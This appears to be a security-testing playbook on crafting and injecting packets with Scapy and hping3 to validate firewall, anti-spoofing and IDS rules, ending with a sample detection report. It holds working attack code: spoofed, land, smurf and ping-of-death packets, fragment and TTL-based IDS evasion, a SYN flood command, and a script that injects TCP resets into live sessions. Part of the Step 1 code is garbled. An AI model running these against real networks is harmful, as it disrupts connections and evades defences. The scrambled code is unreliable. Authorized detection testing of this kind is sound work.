Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.
Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.
Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures
Validating firewall rules by crafting packets with specific flags, source addresses, and payloads
Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations
Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)
Performing TCP reset injection to test connection resilience and session hijacking scenarios
Do not use for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.
Prerequisites
Written authorization specifying in-scope targets and approved packet injection techniques
Scapy, hping3, and Nemesis installed on the testing platform
Root/sudo privileges for raw socket access and packet crafting
Wireshark or tcpdump on the target side to verify packet delivery
Understanding of TCP/IP protocol internals, header fields, and flag combinations
Workflow
Step 1: Craft and Send Basic Test Packets with Scapy
#!/usr/bin/env python3"""Basic packet injection examples using Scapy for authorized testing."""from scapy.allimport *
# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] Port 80 is OPEN (SYN-ACK received)")
elif response[TCP].flags == "RA":
print(f"[*] Port 80 is CLOSED (RST-ACK received)")
# TCP XMAS scan packet (all flags set)
xmas = IP(dst=) / TCP(dport=, flags=)
send(xmas, verbose=)
()
null = IP(dst=) / TCP(dport=, flags=)
send(null, verbose=)
()
icmp_custom = IP(dst=) / ICMP(=) / Raw(load=)
send(icmp_custom, verbose=)
()
udp_test = IP(dst=) / UDP(dport=) / DNS(rd=, qd=DNSQR(qname=))
response = sr1(udp_test, timeout=, verbose=)
response:
()
"10.10.20.10"
80
"FPU"
0
print
"[*] XMAS packet sent (should trigger IDS)"
# NULL scan packet (no flags)
"10.10.20.10"
80
""
0
print
"[*] NULL packet sent"
# Crafted ICMP packet with custom payload
"10.10.20.10"
type
8
"SECURITY_TEST_PAYLOAD"
0
print
"[*] Custom ICMP packet sent"
# UDP packet to test firewall rules
"10.10.20.10"
53
1
"test.example.com"
2
0
if
print
f"[*] DNS response received from {response[IP].src}"
Step 2: IP Spoofing and Anti-Spoofing Validation
#!/usr/bin/env python3"""Test anti-spoofing controls with spoofed source IP packets."""from scapy.allimport *
# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")
# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")
# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")
# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")
Step 3: TCP Session Manipulation
# TCP RST injection to test connection resilience# Using hping3 to send RST packetssudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN flood test (limited volume for testing, not DoS)sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets# Test TCP window manipulationsudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero windowsudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window# Idle scan probe (to test if a host can be used as zombie)sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
#!/usr/bin/env python3"""TCP RST injection to test session resilience."""from scapy.allimport *
# Sniff for an active TCP connection and inject RSTdefrst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
dst=pkt[IP].src
) / TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack,
flags="R"
)
send(rst, verbose=0)
print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
# Sniff for 10 packets and attempt RST injectionprint("[*] Listening for TCP ACK packets to inject RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
Step 4: Protocol Anomaly Testing
#!/usr/bin/env python3"""Protocol anomaly packets for IDS/firewall testing."""from scapy.allimport *
target = "10.10.20.10"# Ping of Death (oversized ICMP - should be blocked)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] Ping of Death fragments sent")
# Tiny fragment attack (TCP header split across fragments)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] Tiny fragment attack packets sent")
# Invalid TCP flag combinations
invalid_flags = [
("SYN+FIN", "SF"),
("SYN+RST", "SR"),
("FIN only (no session)", "F"),
("All flags", "FSRPAUEC"),
]
for name, flags in invalid_flags:
pkt = IP(dst=target) / TCP(dport=80, flags=flags)
send(pkt, verbose=0)
print(f"[*] Sent packet with invalid flags: {name}")
# TTL-based evasion (packets that expire before reaching IDS)# Assumes IDS is 2 hops away, target is 5 hops
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] Low-TTL evasion packet sent (TTL=3)")
# IP options padding
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] Packet with IP Record Route option sent")
# Generate test results summarycat > packet_injection_report.txt << 'EOF'
Packet Injection Test Results
=============================
Date: $(date)
Target: 10.10.20.10
Tester: Security Assessment Team
Test 1: TCP XMAS Scan
IDS Detection: YES (Suricata SID 2100330)
Firewall Action: Dropped
Test 2: IP Spoofing (192.0.2.100)
uRPF Block: YES (packet dropped at edge router)
IDS Detection: YES (source not in HOME_NET)
Test 3: Fragmentation Overlap
IDS Detection: YES (stream reassembly anomaly)
Target Response: Fragments dropped by OS
Test 4: Invalid TCP Flags
IDS Detection: YES (SYN+FIN, SYN+RST flagged)
Firewall Action: Dropped
EOF
Key Concepts
Term
Definition
Packet Injection
Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls
IP Spoofing
Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host
TCP RST Injection
Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses
Fragmentation Attack
Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments
uRPF (Unicast Reverse Path Forwarding)
Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface
BCP38 (Network Ingress Filtering)
Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network
Tools & Systems
Scapy: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers
hping3: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate
Nemesis: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols
tcpreplay: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns
Nping: Nmap's packet generation tool for crafting probes with arbitrary TCP/UDP/ICMP headers
Common Scenarios
Scenario: Validating IDS Rules After Deployment
Context: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.
Approach:
Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules
Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules
Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules
Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly
Send TCP RST injection packets during an active HTTP session to test session disruption detection
Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata
Document which rules fired, which did not, and recommend rule tuning for any gaps
Pitfalls:
Sending injection packets too fast and overwhelming the test network or IDS sensor
Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS
Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection
Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences
Output Format
## Packet Injection Test Report
**Target**: 10.10.20.10 (test-server-01)
**IDS Sensor**: suricata-staging-01
**Test Date**: 2024-03-15
### Test Matrix
| Test | Packet Type | Expected Detection | Actual Result |
|------|-------------|-------------------|---------------|
| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
| 5 | Land Attack | SID 2100333 | NOT DETECTED |
| 6 | Fragment Overlap | SID 2200001 | DETECTED |
| 7 | Ping of Death | SID 2100334 | DETECTED |
| 8 | TCP RST Injection | Custom SID | NOT DETECTED |
### Detection Rate: 6/8 (75%)
### Gaps Identified
1. Land attack (src==dst) not detected -- add rule SID 2100333
2. TCP RST injection not detected -- create custom rule for out-of-window RST
